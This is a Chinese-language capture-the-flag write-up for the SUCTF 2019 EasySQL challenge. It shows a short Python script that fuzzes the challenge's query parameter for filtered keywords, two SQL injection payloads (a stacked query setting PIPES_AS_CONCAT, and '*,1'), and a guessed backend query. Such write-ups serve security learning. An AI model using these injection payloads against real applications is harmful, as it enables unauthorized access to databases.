SUCTF 2019 EasySQL

 

 我便尝试了1和1' 发现只有数字才会有回显,而且只会回显这个

然后我尝试了order by ,union , 报错和盲注,发现都不行全是给我nonono

用试着使用堆叠注入,发现了新大陆

 

可是我去columns后,又给我出现了nonono,应该flag也被过滤了,好啊你,坏事做尽是吧

拿我没辙了对吧,行 ,我就去看了别人的wp


import requests

url = "http://bdefb930-bff7-4046-b7ef-b26572a646b4.node4.buuoj.cn:81/"
with open('sql-fuzz.txt') as f:
    for line in f:
        data = {"query": line}
        r = requests.post(url ,data=data)
        if('Nonono' in r.text):
            print(line.strip())

借了其他师傅的脚本fuzz了一下

 

很多都被过滤了

解法一 

先上payload

1;set sql_mode=PIPES_AS_CONCAT; select 1

根据大佬猜的后端语句:

sql=“select”.post[‘query’]."||flag from Flag";

这个符号 || 是或的意思

a || b  : 如果a为真则b不执行;

因此大佬想出了堆叠注入把||改成concat 再执行1 为真并且执行 flag from flag

从而得到flag

 解法二

payload:*,1

 我看了还是没懂,求大佬解释解释这个


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值